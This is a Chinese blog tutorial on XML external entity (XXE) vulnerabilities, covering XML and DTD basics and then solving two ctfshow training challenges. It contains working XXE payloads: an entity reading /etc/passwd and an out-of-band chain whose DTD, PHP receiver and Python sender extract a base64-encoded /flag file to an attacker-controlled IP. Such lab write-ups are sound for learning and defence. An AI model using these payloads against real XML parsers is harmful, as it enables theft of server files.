XXE漏洞介绍及利用

一、XML基础知识

https://www.w3school.com.cn/xml/index.asp

只看里面的XML基础和DTD知识即可。

 

对基础知识的总结如下:

1.XML文档的整个组成部分

(1)声明部分

<?xml version="1.0" encoding="ISO-8859-1"?>

(2)DTD文档类型定义

<!DOCTYPE note [    //note是DTD的名称可随意。下面的ELEMENT是声明元素的关键词。
  <!ELEMENT note (to,from,heading,body)>    //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
  <!ELEMENT to      (#PCDATA)>    //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>

(3)文档内容和元素

<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

2.对于实体的理解(这里说的内部实体)

 看第7行:注释部分。

<!DOCTYPE note [    //note是DTD的名称可随意。下面的ELEMENT是声明元素的关键词。
  <!ELEMENT note (to,from,heading,body)>    //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
  <!ELEMENT to      (#PCDATA)>    //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
  <!ENTITY hithub "meng">    //这里就是我们的实体部分,理解为变量即可,hithub存储了“meng”的值。通过关键字ENTITY来声明实体。
]>

看引用实体:第二行。这里会将&hithub;替换为meng

<note>
<to>&hithub;</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

3.外部实体,导致漏洞的根本原因

先看事例:

<!ENTITY hithub SYSTEM "file:///etc/passwd">

也就是说,通过关键字SYSTEM来引用外部实体。看到这里,应该就明白了XXE漏洞的危害了。

4.引用外部DTD文件也可以导致漏洞

 这里我们对DTD的部分修改如下:

<!DOCTYPE hithub SYSTEM "note.dtd">

然后创建note.dtd文件内容如下:

<!ELEMENT note (to,from,heading,body)>    //定义note元素为根元素,然后定义了一些子元素,下面的xml内容和元素必须按照规定。
  <!ELEMENT to      (#PCDATA)>    //这里括号里的内容是说,我们元素里的内容用什么解析器去解析,一般用PCDATA,也有CTDATA。
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
  <!ENTITY hithub "meng">    //这里就是我们的实体部分,理解为变量即可,hithub存储了“meng”的值。通过关键字ENTITY来声明实体。

因为现在默认大多数情况下是禁止解析外部实体的,所以该方法比较常用,我们只要note.dtd里插入我们的恶意代码即可。

二、XXE漏洞演示

1.有回显

这里用ctfshow-web入门373的例题进行演示。当然了你也可以利用其他靶场,dvwa、bWAPP等等。

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

可以看到这里对XML文档中的ctfshow元素进行了输出。下面看payload及实验结果。

2.无回显

这里用ctfshow-web入门374的例题进行演示。利用了数据带外的方法。
 
(1)首先创建一个xxe.php用来接收带外的数据(这里注意先创建一个xxe.txt文件,然后赋予可写权限,当然了xxe.php也得有权限)
<?php
    $a = $_GET['content'];
    file_put_contents('xxe.txt',$a);
?>
(2)创建一个靶机要请求加载的外部xxe.dtd(这里注意使用了php伪协议读取文件,因为我发现直接模仿上面的file协议会失败)
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://xx.xx.252.132/xxe.php?content=%file;'>">
%int;%send;
(3)最后就是我们要发送的payload,这里用python脚本进行发送
import requests

url = 'http://ed13e2a4-c372-44ad-a98c-dec157f1a0e8.challenge.ctf.show/'
payload = """<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://xx.xx.252.132/xxe.dtd">%remote;
]>
"""
requests.post(url, data=payload)
 
 
 
 
 
 
 
 
 
 
  

 

posted @ 2022-04-03 17:30  hithub  阅读(401)  评论(0编辑  收藏  举报